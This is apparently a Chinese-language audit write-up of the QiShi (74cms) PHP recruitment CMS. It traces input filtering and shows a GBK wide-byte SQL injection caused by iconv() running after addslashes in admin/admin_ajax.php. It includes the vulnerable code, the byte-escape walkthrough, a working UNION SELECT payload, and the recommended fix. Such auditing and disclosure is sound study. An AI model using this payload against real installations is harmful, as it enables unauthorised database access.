先看一下目录
index文件是一个程序的入口文件,所以通常我们只要读一遍index文件就可以大致了解整个程序的架构、运行的流程、包含到的文件,
其中核心的文件又有哪些。
而不同目录的index文件也有不同的实现方式,建议最好先将几个核心目录的index文件都简单读一遍。
从入口文件index.php开始看吧,涉及到Smarty缓存机制
<?php if(!file_exists(dirname(__FILE__).'/data/install.lock')) header("Location:install/index.php");//检查是否有安装锁 define('IN_QISHI', true);//定义常量 $alias="QS_index"; require_once(dirname(__FILE__).'/include/common.inc.php');//dirname(__FILE__)取得当前文件所在的绝对目录 if($mypage['caching']>0){ $smarty->cache =true; $smarty->cache_lifetime=$mypage['caching']; }else{ $smarty->cache = false;//开启缓存 } $cached_id=$_CFG['subsite_id']."|".$alias.(isset($_GET['id'])?"|".(intval($_GET['id'])%100).'|'.intval($_GET['id']):'').(isset($_GET['page'])?"|p".intval($_GET['page'])%100:''); if(!$smarty->is_cached($mypage['tpl'],$cached_id))//如果当前页面没有被缓存 { require_once(QISHI_ROOT_PATH.'include/mysql.class.php');//调用数据库 $db = new mysql($dbhost,$dbuser,$dbpass,$dbname); unset($dbhost,$dbuser,$dbpass,$dbname);//加载模板页 $smarty->display($mypage['tpl'],$cached_id);//调用模板生成缓存页面 } else { $smarty->display($mypage['tpl'],$cached_id);//否则就直接生成缓存页面 } unset($smarty); ?>
对页面这些可控变量做了intval强转过滤。调用了两个配置文件,跟进。
if (!empty($_GET)) { $_GET = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($_POST); } $_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST); date_default_timezone_set("PRC"); $timestamp = time(); $online_ip=getip(); $ip_address=convertip($online_ip);//转化ip地址到真实地址
对 $_GET,$_POST, $_REQUEST,$_REQUEST请求变量都加了过滤,跟进$online_ip
跟进getip函数,
function getip() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $onlineip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $onlineip = $_SERVER['HTTP_CLIENT_IP']; } else { $onlineip = $_SERVER['REMOTE_ADDR']; } $onlineip = preg_match('/[d.]{7,15}/', addslashes($onlineip), $onlineipmatches);//匹配ip格式d表示十进制数字,{7,15}表示总字符为7到15个 return $onlineipmatches[0] ? $onlineipmatches[0] : 'unknown'; }
这个和之前所审计的cms不同,加了过滤和ip格式的正则匹配。并且又再次对$online_ip 进行了过滤
if ($_CFG['filter_ip'] && check_word($_CFG['filter_ip'],$online_ip)) { $smarty->assign('info',$_CFG['filter_ip_tips']); $smarty->display('warning.htm'); exit(); }
跟进data/config文件
mysql类中的构造函数中定义了数据库编码为gbk,可以考虑宽字节注入,寻找注入点。
进入到后台登录页面
跟踪check_admin方法
function check_admin($name, $pwd) { global $db; $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')"); if($row['num'] > 0) { return true; } else { return false; } }
跟踪getone方法,没有其他一些防止宽字节注入的过滤了
function getone($sql, $type=MYSQL_ASSOC){ $query = $this->query($sql,$this->linkid); $row = mysql_fetch_array($query, $type); return $row; }
到后台登录页面upload/admin/admin_login.php尝试宽字节注入
注意构造padyload时候一定要抓包修改发送,否则的话百分号会被url转码,这么操作下来最后也还是没成功。
查看
发现有这么个语句
SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary
character_set_client=binary 是将所有的数据以二进制来传输,就不存在宽字节注入问题了
参考p神写得文章,太牛了 浅析白盒审计中的字符编码及SQL注入
这是个假的漏洞,真漏洞发生在iconv()函数在转换时的编码问题会导致宽字节注入
参考这篇文章的介绍的宽字节注入发生的各种情况https://www.cnblogs.com/zzjdbk/p/12984498.html
师傅们都太强了。
搜索iconv函数,发现了这么一个地方 出现问题的代码在admin/admin_ajax.php 79行处
elseif($act == 'get_jobs') { $type=trim($_GET['type']); $key=trim($_GET['key']); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $key=iconv("utf-8",QISHI_DBCHARSET,$key); } if ($type=="get_id") { $id=intval($key); $sql = "select * from ".table('jobs')." where id='{$id}' LIMIT 1"; } elseif ($type=="get_jobname") { $sql = "select * from ".table('jobs')." where jobs_name like '%{$key}%' LIMIT 30"; } elseif ($type=="get_comname") { $sql = "select * from ".table('jobs')." where companyname like '%{$key}%' LIMIT 30"; } elseif ($type=="get_uid") { $uid=intval($key); $sql = "select * from ".table('jobs')." where uid='{$uid}' LIMIT 30"; } else { exit(); }
为了使得SQL语句中的字符集保持一致,一般都会使用iconv等字符集转换函数进行字符集转换,问题就是出在了GBK向UTF-8转换的过程中。
提交:http://127.0.0.1/foo.php?bar=%e5%5c%27
变换过程:(e55c转为UTF-8为e98ca6)
e55c27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca65c5c27
可以看到,多出了一个5c,将转义符(反斜杠)本身转义,使得后面的%27发挥了作用。最终产生单引号逃逸,完成sql语句闭合。
构造payload
?act=get_jobs&type=get_jobname&key=錦‘ union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23
对于宽字节编码,有一种最好的修补就是:
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?
就是使用mysql_set_charset进行指定。
上述的两个条件是“与”运算的关系,少一条都不行。
测试:
输出:
效果很明显